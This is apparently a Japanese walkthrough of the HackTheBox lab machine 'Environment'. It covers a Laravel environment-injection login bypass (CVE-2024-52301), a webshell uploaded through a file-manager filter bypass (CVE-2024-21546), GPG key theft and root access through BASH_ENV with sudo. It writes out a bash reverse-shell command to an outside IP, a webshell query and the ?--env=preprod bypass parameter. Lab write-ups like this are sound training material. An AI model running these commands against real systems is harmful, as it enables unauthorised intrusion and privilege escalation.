Environment 【M】
Environment はデバッグモードのLaravelサイトに対し、URL経由のCVEを悪用して環境を「preprod」に設定。デバッグクラッシュによる認証バイパスを利用して内部サイトにアクセス。さらに別のCVEでLaravelファイルマネージャーの制限を回避しWebシェルを設置。GPG鍵を取得してユーザー昇格後、BASH_ENVを保持できて,最後にsudo権限を悪用しルートへ昇格。
Lab URL: https://app.hackthebox.com/machines/Environment
宛先IP : 10.10.11.67
偵察（Recon）
Nmap
＄sudo nmap -sV -sC -oA environment 10.10.11.67
# Nmap 7.95 scan initiated Sun Sep 7 21:39:59 2025 as: /usr/lib/nmap/nmap -sV -sC -vv -oA nmap/environment 10.10.11.67
Nmap scan report for environment.htb (10.10.11.67)
Host is up, received reset ttl 63 (0.18s latency).
Scanned at 2025-09-07 21:40:00 JST for 14s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGrihP7aP61ww7KrHUutuC/GKOyHifRmeM070LMF7b6vguneFJ3dokS/UwZxcp+H82U2LL+patf3wEpLZz1oZdQ=
| 256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ7xeTjQWBwI6WERkd6C7qIKOCnXxGGtesEDTnFtL2f2
80/tcp open http syn-ack ttl 63 nginx 1.22.1
| http-methods:
|_ Supported Methods: GET HEAD
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-title: Save the Environment | environment.htb
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 7 21:40:14 2025 -- 1 IP address (1 host up) scanned in 15.07 secondsOpenSSHとnginxのバージョンから判断すると、ホストはDebian12 Bookwormを実行していると思われます。Webサーバーはenvironment.htbにリダイレクトしています。ffufで簡単なスキャンを実行し、異なる応答を返すサブドメインがないか確認してみましたが、見つかりません。
初めに/etc/hostsファイルに以下を追加します。
10.10.11.67 environment.htb
Website - TCP 80
ページにはリンクがありませんでした。下部にはメーリングリストにメールアドレスを追加するフォームがあります。メールアドレスを入力すると、追加が成功した旨が表示されます：
そして、ページフッターには、サイトのバージョンが「Production v1.1」と記載されています：
Nuclei
次に、Nucleiスキャンを実行しました。Nucleiは、バージョン情報やHTTPレスポンスヘッダー、およびその2つのクッキーに関する詳細情報を列挙するのに役立ちます。このクッキーの情報から、それがLaravelであることがほぼ判明します。これらのクッキーはLaravelのクッキーです。2つ目のlaravel_sessionは、アプリケーションによって<何か別の名前>_sessionに改名される可能性がありますが、Laravelは常にXSRF-TOKENクッキーと_sessionクッキーの両方を設定します。
Laravelは私が何度もハッキング（調査・解析）した経験があるPHPフレームワークです。この404ページは、デフォルトのLaravelの404ページです。
どうやって判断しましたかといいますと0xdfさんのウェブでおきる404エラーページのチートシートがあります。
ディレクトリブルートフォース
-b = ネガティブステータスコード（設定されている場合、status-codesを上書きします）。 403&404のエラーよく出てたため...
/login はログインフォームを表示します:
/mailing は、ユーザーがメールアドレスを送信した際の POST リクエストを受け取ります。
/up はステータスページを表示します：
/storage は 403 を返します。ここにはさらに多くのものが存在する可能性があります。これはファイルストレージなどに使用される Laravel の標準ディレクトリです。/build と /vendor も 403 を返し、Laravel にとってあまり重要ではないディレクトリです。
/upload は Laravel のデバッグページを返します：
こちらでは、Laravel 11.30.0 というバージョン番号以外に、あまり多くの情報を漏らしていません。
www-data ユーザーとしてシェルを実行
アクセス管理ダッシュボード
CVE-2024-52301 背景
このような場合、最も手っ取り早い方法は、対象ソフトウェアのバージョンのリリース日を確認することです。もし古いバージョンであれば、それに関連するCVE（共通脆弱性識別子）やPoC（概念実証コード）を調べるとよいでしょう。
CVE-2024-52301 は、このバージョンの Laravel に存在する脆弱性です：
PHP の register_argc_argv ディレクティブが有効に設定されている場合、ユーザーが特別に細工されたクエリ文字列を含む任意の URL を呼び出すと、リクエスト処理時にフレームワークが使用する環境を変更することが可能になります。
これは少し曖昧です。このページでより詳細に説明されています。php.iniファイルでregister_argc_argvが有効になっている場合、ユーザーは--env=devのようなGETパラメータを注入して、フレームワークが使用する環境を変更できます。
・http://environment.htb/?--env=local にアクセスすると、ページフッターのバージョンが変更されます：
実際、任意の文字列（akuma）に変更可能です：
もう少しPHPスクリプト（<?php echo "Hello World" ?>）とかで遊んでみると：
私個人の間違えでもありますがスクリプト書き間違ったら（<?php echo＝"Hello World" ?>）スペースを＝に：
クロスサイトスクリプティングもできなかった。ですが、これがどのように役立つかはまだ明らかではありません。
ログインページのエラー
明らかにLaravelのデバッグモードが動作しているようだ。Burp RepeaterにログインPOSTリクエストを送信し、少し試してみる。再送信するとリダイレクトが返ってくる：
空のメールやパスワードを送信しても、同じリダイレクトが送られるだけです。しかし、メールパラメータを完全に削除すると、クラッシュします：
デバッグモードであるため、多くの情報を含むようにレンダリングされます：
$keep_loggedin は if / elseif で True または False に設定されています。７５行目見ると、送信された値が「False」でも「True」でもない場合、75行目でクラッシュします。
メールパラメータを再追加し、rememberを「hello」に設定します：
７９行目から８３行目までアプリの環境変数が「preprod」に設定されている場合、認証検証をバイパスし、ID 1のユーザーとしてログインできることを示しています！
ログインバイパス
ログインページに戻り、Burp Proxyのインターセプトを有効にします。クライアントサイドの検証を満たす任意の認証情報でログインします。インターセプトされたリクエストでは、パスに ?--env=preprod を追加してみると:
ログインバイパスできいて、ブラウザが管理ダッシュボードを読み込んでくれました：
Shell経由のLaravelファイルマネージャー
ダッシュボード列挙
メインダッシュボードページはかなりシンプルです。操作できる要素は何もありません。「プロフィール」リンクから、現在のユーザーのプロフィール写真を更新できます：
現在、http://environment.htb/management/dashboard にアクセス可能ですが、先ほどバイパスログインに使用した ?--env=preprod のパラメータも、このhttp://environment.htb/management/dashboard?--env=preprodで利用できます。何か隠されたページが存在しないかを確認するため、このパラメータ--env=preprodを付けてアクセスしてみました。その結果、phpinfo のページが表示されました。
同様にこの方法(http://environment.htb/management/info?--env=preprod)で info ファイルにもアクセスでき、中身を確認したところ、特に有用な情報やパスワードなどは含まれていませんでした。
アップロード機能の不正動作
アップロードのPOSTリクエストをBurp Repeaterに送信しますとボディには2つのHTMLフォームデータが含まれていることを確認できます（写真：猫の写真 ※なるべく短いファイルサイズ）：
画像にウェブシェルを埋め込むような試みはできますが、ファイルの拡張子が.png（または.php以外の任意の拡張子）である限り、コードは実行されません。.phpファイルをアップロードしようとするとこのように失敗します：
同じくコンテンツ配置の名前を「upload」から別の名前に変更するとエラーは発生するが、今回は完全なデバッグ出力は表示されない：
Laravel ファイルマネージャーを特定
オープンソースを検索する際に私が最も好む方法はgrep.appを使用することです。ここで使用されているパッケージは以下で入手できます：
CVE-2024-21546
「CVE-2024-21546は、バージョン2.9.1以前のunisharp/laravel-filemanagerに存在する脆弱性で、アップロードフィルタの回避を介したリモートコード実行（RCE）を引き起こす可能性があります。
リピーターに戻り、POSTリクエスト内のファイル名をakuma.phpに変更し、画像の大部分を切り取り、PNGヘッダーを表す最初の約10バイトを残します：
応答から、akuma.php ではなく akuma.php.. として保存されることが確認されました。/storage/files/akuma.php?cmd=id にアクセスすると以下が実行されます：
私はbashリバースシェルを入力するのが好きだ。cmd=bash -c 『bash -i %26 /dev/tcp/10.10.14.6/443 0>%261』 にアクセスすると、リスニング中のncでシェルが起動できました。
/home/hish ディレクトリ内の user.txt ファイルをゲットです
ところでシェルでタイピングしずらいですよね。この動画参考です
hishユーザーとしてシェルを実行
列挙
色々列挙後app/database/database.sqliteを見つけました。
本当に興味深いテーブルはusersです：
そして、気づいたのはwww-data は hish のホームディレクトリに対して完全なアクセス権を持っているようです:
backup/keyvault.gpg は興味深いですね。
そして、www-data は hish の .gnupg ディレクトリ内のすべてのファイルにアクセスできます。
Keyvaultの復号化
gpgでファイルを復号するには、-dオプションとファイルを指定する必要があります。デフォルトでは現在のユーザーの.gnupgディレクトリから読み込もうとしますが、--home <ディレクトリ>で別の場所を指定できます。hishのディレクトリを使おうとしても、やはり失敗します：
そして、/home/hist に一時ファイルを書き込もうとしていますが、www-data にはその権限がありません。復号しようとしているファイル pubring.kbx は表示されています。
そのため、/dev/shm に使用する新しい「ホームディレクトリ」を作成し、GPG 関連のファイルをそこにコピーします：
これで復号できます：
そのパスワードは su を使用する hish ユーザーで有効かどうか確認：
rootユーザーとしてシェルを実行
列挙
hishユーザーはsudoを使用してsysteminfoというスクリプトを任意のユーザーとして実行できます:
BASH_ENV
基礎
GNUドキュメントではBASH_ENVを次のように定義しています：
Bash 起動ファイルのセクションには、次のように記載されています：
スクリプトが開始されると、$BASH_ENV パス内のスクリプトが単純に実行される。
Exploit&フラグ
これを活用するために、bashを実行するシンプルなシェルスクリプトを書きました：
sudoでBASH_ENVを設定した状態でsysteminfoを実行:
そしてrootフラグを取得します:
HAPPY Hacking
Last updated